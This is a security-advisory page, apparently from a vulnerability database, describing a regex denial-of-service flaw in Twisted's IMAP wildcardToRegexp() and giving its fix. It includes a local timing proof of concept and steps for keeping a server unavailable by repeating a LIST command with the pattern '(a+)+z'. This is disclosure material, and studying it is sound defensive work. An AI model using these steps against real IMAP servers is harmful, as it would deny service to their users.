BREW-ALOT-CVE-2026-106454 (GHSA-8PQF-F4M5-798G)
Vulnerability from osv_homebrew – Published: 2026-10-08 10:49 – Updated: 2026-10-08 10:49 – Source websiteSummary
wildcardToRegexp() in twisted/mail/imap4.py converts IMAP LIST/LSUB wildcard patterns to Python regular expressions. It substitutes the two IMAP wildcards (* → (?:.*?) and % → (?:(?:[^\\/])*?)) but passes every other character through unchanged to re.compile(). This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as (a+)+z.
Because Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes all I/O on the server for the duration of the match.
Vulnerable Code
twisted/mail/imap4.py
# line 4595
def wildcardToRegexp(wildcard, delim=None):
wildcard = wildcard.replace("*", "(?:.*?)")
if delim is None:
wildcard = wildcard.replace("%", "(?:.*?)")
else:
wildcard = wildcard.replace("%", "(?:(?:[^%s])*?)" % re.escape(delim))
return re.compile(wildcard, re.I) # ← user input compiled verbatim
# line 4993
class MemoryAccountWithoutNamespaces:
def listMailboxes(self, ref, wildcard):
ref = self._inferiorNames(_parseMbox(ref.upper()))
wildcard = wildcardToRegexp(wildcard, "/") # ← user-supplied wildcard
return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]
Proof of Concept
from twisted.mail.imap4 import wildcardToRegexp
import time
rx = wildcardToRegexp("(a+)+z", "/")
for n in [20, 22, 24, 26, 28]:
victim = "a" * n
t0 = time.perf_counter()
rx.match(victim)
print(f"n={n}: {time.perf_counter() - t0:.3f}s")
Output on Twisted 25.5.0:
[*] Compiled regex: '(a+)+z'
[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()
n time
--- ----------
20 0.153s
22 0.651s
24 2.941s
26 14.545s
28 55.019s
Timing doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.
Impact
Twisted's reactor is single-threaded and cooperative. A blocking re.match() call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs. A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.
An attacker who can register an account (or obtain credentials through other means) can:
CREATEa mailbox whose name is an exponential-blowup trigger string.- Issue
LIST "" "(a+)+z"(or equivalent ReDoS pattern). - Repeat at ~1-minute intervals to keep the server permanently unavailable.
No exploit code or special privileges beyond an IMAP login are required.
Fix
Escape non-wildcard characters before compiling:
def wildcardToRegexp(wildcard, delim=None):
# Split on the two IMAP wildcards, escape everything else
parts = re.split(r'([*%])', wildcard)
result = []
for p in parts:
if p == '*':
result.append('(?:.*?)')
elif p == '%':
if delim is None:
result.append('(?:.*?)')
else:
result.append('(?:(?:[^%s])*?)' % re.escape(delim))
else:
result.append(re.escape(p)) # ← escape all other characters
return re.compile(''.join(result), re.I)
Alternatively, apply re.escape() to the entire wildcard first, then substitute the (now-escaped) \* and \% tokens back with their regex equivalents.
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "twisted",
"resource_purl": "pkg:pypi/twisted@26.4.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "alot",
"purl": "pkg:brew/alot"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/twisted@26.4.0",
"name": "twisted",
"resource": "twisted",
"strategy": "registry",
"subject_version": "26.4.0"
}
]
},
"details": "### Summary\n`wildcardToRegexp()` in `twisted/mail/imap4.py` converts IMAP LIST/LSUB wildcard patterns to Python regular expressions. It substitutes the two IMAP wildcards (`*` \u2192 `(?:.*?)` and `%` \u2192 `(?:(?:[^\\\\/])*?)`) but passes every other character through unchanged to `re.compile()`. This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as `(a+)+z`.\n\nBecause Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes **all** I/O on the server for the duration of the match.\n\n---\n\n## Vulnerable Code\n\n### `twisted/mail/imap4.py`\n\n```python\n# line 4595\ndef wildcardToRegexp(wildcard, delim=None):\n wildcard = wildcard.replace(\"*\", \"(?:.*?)\")\n if delim is None:\n wildcard = wildcard.replace(\"%\", \"(?:.*?)\")\n else:\n wildcard = wildcard.replace(\"%\", \"(?:(?:[^%s])*?)\" % re.escape(delim))\n return re.compile(wildcard, re.I) # \u2190 user input compiled verbatim\n```\n\n```python\n# line 4993\nclass MemoryAccountWithoutNamespaces:\n def listMailboxes(self, ref, wildcard):\n ref = self._inferiorNames(_parseMbox(ref.upper()))\n wildcard = wildcardToRegexp(wildcard, \"/\") # \u2190 user-supplied wildcard\n return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]\n```\n---\n\n### Proof of Concept\n\n```python\nfrom twisted.mail.imap4 import wildcardToRegexp\nimport time\n\nrx = wildcardToRegexp(\"(a+)+z\", \"/\")\nfor n in [20, 22, 24, 26, 28]:\n victim = \"a\" * n\n t0 = time.perf_counter()\n rx.match(victim)\n print(f\"n={n}: {time.perf_counter() - t0:.3f}s\")\n```\n\n**Output on Twisted 25.5.0:**\n\n```\n[*] Compiled regex: \u0027(a+)+z\u0027\n[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()\n\n n time\n --- ----------\n 20 0.153s\n 22 0.651s\n 24 2.941s\n 26 14.545s\n 28 55.019s\n```\n\nTiming doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.\n\n---\n\n## Impact\n\nTwisted\u0027s reactor is single-threaded and cooperative. A blocking `re.match()` call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs. A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.\n\nAn attacker who can register an account (or obtain credentials through other means) can:\n\n1. `CREATE` a mailbox whose name is an exponential-blowup trigger string.\n2. Issue `LIST \"\" \"(a+)+z\"` (or equivalent ReDoS pattern).\n3. Repeat at ~1-minute intervals to keep the server permanently unavailable.\n\nNo exploit code or special privileges beyond an IMAP login are required.\n\n---\n\n## Fix\n\nEscape non-wildcard characters before compiling:\n\n```python\ndef wildcardToRegexp(wildcard, delim=None):\n # Split on the two IMAP wildcards, escape everything else\n parts = re.split(r\u0027([*%])\u0027, wildcard)\n result = []\n for p in parts:\n if p == \u0027*\u0027:\n result.append(\u0027(?:.*?)\u0027)\n elif p == \u0027%\u0027:\n if delim is None:\n result.append(\u0027(?:.*?)\u0027)\n else:\n result.append(\u0027(?:(?:[^%s])*?)\u0027 % re.escape(delim))\n else:\n result.append(re.escape(p)) # \u2190 escape all other characters\n return re.compile(\u0027\u0027.join(result), re.I)\n```\n\nAlternatively, apply `re.escape()` to the entire wildcard first, then substitute the (now-escaped) `\\*` and `\\%` tokens back with their regex equivalents.",
"id": "BREW-alot-CVE-2026-106454",
"modified": "2026-10-08T10:49:47Z",
"published": "2026-10-08T10:49:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/security/advisories/GHSA-8pqf-f4m5-798g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106454"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/pull/12788"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/commit/2f8a3c29246f4eb324690e06a9767a11dc4aec9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/twisted/twisted"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Twisted: IMAP wildcardToRegexp() ReDoS",
"upstream": [
"GHSA-8pqf-f4m5-798g",
"CVE-2026-106454"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.